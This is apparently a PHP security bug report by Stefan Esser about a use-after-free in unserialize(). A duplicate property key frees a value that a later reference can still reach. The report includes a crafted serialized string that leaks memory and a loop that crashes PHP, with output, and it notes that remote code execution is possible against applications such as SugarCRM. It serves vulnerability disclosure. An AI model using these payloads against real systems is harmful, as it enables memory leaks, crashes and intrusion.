Description:
------------
Reported by Stefan Esser <stefan.esser@sektioneins.de>:
A while ago the function "process_nested_data" was changed to better
handle object properties. Before it was possible to create numeric
object properties which would cause trouble down the road. So the
following code was added:
if (!objprops) {
...
} else {
/* object properties should include no integers */
convert_to_string(key);
zend_hash_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1,
&data,
sizeof data, NULL);
}
Whoever wrote this code did not know about the history of the
unserialize() function and that in earlier times (2004) I found a use
after free vulnerability in it. A non detailed write up can be found in
http://seclists.org/fulldisclosure/2004/Dec/356 [Bug 7].
The problem with the above code is that when there are two identical
keys in the object's serialized properties the second key will delete
the first one from memory and destroy the ZVAL associated with it. This
means that ZVAL and all its children is freed from memory. However the
unserialize() code will still allow to use R: or r: to set references to
that already freed memory. It has been demonstrated many times before
that use after free inside unserialize() allows an attacker to execute
arbitrary code. Also some programs do not only unserialize() user input
but they also sent a serialized() reply back to the caller. In such a
setup an attacker can not only trigger code execution but also leak
memory content from remote. This together means he can write a fully
working remote exploit that bypasses all modern mitigations. Examples
how that was possible before you can see from this slide deck (starting
from slide 30)
http://www.slideshare.net/i0n1c/syscan-singapore-2010-returning-into-the-phpinterpreter
Last time I checked one prominent example of PHP code that uses
unserialize() and serialize() in this way is: SugarCRM
The following code shows the leak:
<?php
$data =
'O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';
$x = unserialize($data);
var_dump($x);
$ php test.php
object(stdClass)#1 (2) {
["aaa"]=>
int(1)
["ccc"]=>
&string(39) "1Y?/"
}
And the following code should crash PHP:
<?php
for ($i=4; $i<100; $i++) {
var_dump($i);
$m = new StdClass();
$u = array(1);
$m->aaa = array(1,2,&$u,4,5);
$m->bbb = 1;
$m->ccc = &$u;
$m->ddd = str_repeat("A", $i);
$z = serialize($m);
$z = str_replace("bbb", "aaa", $z);
var_dump($z);
$y = unserialize($z);
var_dump($y);
}
As you can see here:
$ php x.php
int(4)
string(134)
"O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}"
object(stdClass)#2 (3) {
["aaa"]=>
int(1)
["ccc"]=>
&NULL
["ddd"]=>
string(4) "AAAA"
}
int(5)
string(135)
"O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:5:"AAAAA";}"
object(stdClass)#1 (3) {
["aaa"]=>
int(1)
["ccc"]=>
&NULL
["ddd"]=>
string(5) "AAAAA"
}
int(6)
string(136)
"O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:6:"AAAAAA";}"
Segmentation fault: 11
Somewhen before you fix and release this I will prepare a POC that
demonstrates full control over the program counter and to leak specific
stuff from the system.